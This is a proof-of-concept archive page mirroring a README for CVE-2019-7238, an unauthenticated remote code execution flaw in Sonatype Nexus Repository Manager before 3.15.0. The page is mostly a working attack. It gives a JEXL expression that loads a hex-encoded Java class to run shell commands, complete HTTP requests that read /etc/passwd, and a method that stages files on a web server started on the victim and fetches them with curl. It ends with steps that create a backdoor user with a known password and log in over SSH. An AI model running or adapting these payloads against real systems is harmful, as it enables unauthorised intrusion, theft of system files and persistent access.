Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%
Buy Us a Coffee

CVE-2019-7238 PoC — Sonatype Nexus Repository Manager OSS/Pro 访问控制错误漏洞

Source
https://github.com/jas502n/CVE-2019-7238
Associated Vulnerability
Title: Sonatype Nexus Repository Manager OSS/Pro 访问控制错误漏洞 (CVE-2019-7238)
Description:Sonatype Nexus Repository Manager before 3.15.0 has Incorrect Access Control.
Description
Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0
Readme
# CVE-2019-7238 Nexus Repository Manager RCE
 
 Nexus Repository Manager 3 Remote Code Execution without authentication < 3.15.0
 
 ![](./CVE-2019-7238.jpg)
 
 [![asciicast](https://asciinema.org/a/aMzvEr29h9txT5TrtF8loyFQp.svg)](https://asciinema.org/a/aMzvEr29h9txT5TrtF8loyFQp)
 
 ### python usage
 `python  CVE-2019-7238.py http://10.10.20.166:8081 whoami`
 
 
 ```
 jas502n@pentest  ~/Pentester/CVE-2019-7238  python  CVE-2019-7238.py http://10.10.20.166:8081/ whoami                                                         

   _______      ________    ___   ___  __  ___      ______ ___  ____   ___
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \    |____  |__ \|___ \ / _ \
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______ / /   ) | __) | (_) |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______/ /   / / |__ < > _ <
 | |____   \  /  | |____    / /_| |_| || |  / /      / /   / /_ ___) | (_) |
  \_____|   \/   |______|  |____|\___/ |_| /_/      /_/   |____|____/ \___/

                        Nexus RCE < 3.15.0

                        Python By jas502n

             python  CVE-2019-7238.py http://10.10.20.166:8081 whoami


url= http://10.10.20.166:8081/service/extdirect

cmd= whoami

>>>>
nexus
 ```

###  关于命令回显：

```
function(x, y, z, c, integer, defineClass){
	c=1.class.forName('java.lang.Character');
	integer=1.class;
	x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055';
	y=0;
	z='';
	while (y lt x.length()){
		z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];
		y += 2;
   };

defineClass=2.class.forName('java.lang.Thread');
x=defineClass.getDeclaredMethod('currentThread').invoke(null);
y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);
defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType());\n
defineClass.setAccessible(true);\n
x=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);
x.getMethod('test', ''.class).invoke(null, 'whoami');
'done!'}\n
```

### cat /etc/passwd
```
POST /service/extdirect HTTP/1.1
Host: 10.10.20.166:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 7256
Connection: close

{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){   c=1.class.forName('java.lang.Character');   integer=1.class;   x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055';   y=0;   z='';   while (y lt x.length()){       z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0];       y += 2;   };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n    y,\n   'Exploit.Test234',\n    z.getBytes('latin1'),    0,\n    3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}




HTTP/1.1 200 OK
Connection: close
Date: Mon, 19 Aug 2019 16:26:01 GMT
Server: Nexus/3.14.0-04 (OSS)
X-Content-Type-Options: nosniff
Set-Cookie: NX-ANTI-CSRF-TOKEN=aa74b44f-899f-49f4-8813-d180fd7a882e; Path=/
Content-Type: application/json;charset=utf-8
Content-Length: 707

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nexus:x:200:200:Nexus Repository Manager user:/opt/sonatype/nexus:/bin/false

```




#### Ps: 关于命令执行回显，很多时候攻击者可以访问目标主机，但目标主机不能反弹shell到攻击者；
#### 思路：可以开启一个web服务，将要执行的命令写入到网站目录下面，然后读取文件，得到命令回显内容

# 0x01 python web for Nexus

`setsid python -m SimpleHTTPServer 8987`

```
POST /service/extdirect HTTP/1.1
Host: 10.10.20.166:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 00045277-54c3-47bd-831b-b056a3a8e3ab
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.166:8081/
Content-Length: 428
Cookie: sidebar_collapsed=false; NX-ANTI-CSRF-TOKEN=00045277-54c3-47bd-831b-b056a3a8e3ab; _ga=GA1.4.915076148.1558341613; NXSESSIONID=df711f34-689b-49dc-8e53-288352ad2329; _gid=GA1.4.813394406.1558444836; _gat=1; _gat_adw=1; _gat_cdt=1; _gat_UA-1693297-38=1
X-Forwarded-For: 127.0.0.1
Connection: keep-alive

{"type": "rpc", "method": "previewAssets", "tid": 18, "data": [{"limit": 50, "sort": [{"property": "name", "direction": "ASC"}], "page": 1, "filter": [{"value": "*", "property": "repositoryName"}, {"value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"setsid python -m SimpleHTTPServer 8987\")", "property": "expression"}, {"value": "jexl", "property": "type"}], "start": 0}], "action": "coreui_Component"}
```
# 0x02 get the passwd

`cp /etc/passwd  ./`

```
POST /service/extdirect HTTP/1.1
Host: 10.10.20.166:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Nexus-UI: true
NX-ANTI-CSRF-TOKEN: 00045277-54c3-47bd-831b-b056a3a8e3ab
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.166:8081/
Content-Length: 407
Cookie: sidebar_collapsed=false; NX-ANTI-CSRF-TOKEN=00045277-54c3-47bd-831b-b056a3a8e3ab; _ga=GA1.4.915076148.1558341613; NXSESSIONID=df711f34-689b-49dc-8e53-288352ad2329; _gid=GA1.4.813394406.1558444836; _gat=1; _gat_adw=1; _gat_cdt=1; _gat_UA-1693297-38=1
X-Forwarded-For: 127.0.0.1
Connection: keep-alive

{"type": "rpc", "method": "previewAssets", "tid": 18, "data": [{"limit": 50, "sort": [{"property": "name", "direction": "ASC"}], "page": 1, "filter": [{"value": "*", "property": "repositoryName"}, {"value": "1==0 or ''.class.forName('java.lang.Runtime').getRuntime().exec(\"cp /etc/passwd ./\")", "property": "expression"}, {"value": "jexl", "property": "type"}], "start": 0}], "action": "coreui_Component"}
```
```
root@hz ~ curl  http://10.10.20.166:8987/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
nexus:x:200:200:Nexus Repository Manager user:/opt/sonatype/nexus:/bin/false

```

# 0x03 command see

#### usage: python CVE-2019-7238.py cmd

![](./CVE-2019-7238.png)
![](./2019-05-21_215400-2.png)


# 0x04 login ssh

#### 用echo命令修改用户密码(root 权限)

```
useradd pentest
echo password | passwd --stdin pentest

ssh username: pentest
ssh password: password

```
```
ssh pentest@10.10.20.116

Connecting to 10.10.20.166:22...
Connection established.
To escape to local shell, press Ctrl+Alt+].

```


### 参考链接
https://github.com/verctor/nexus_rce_CVE-2019-7238
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →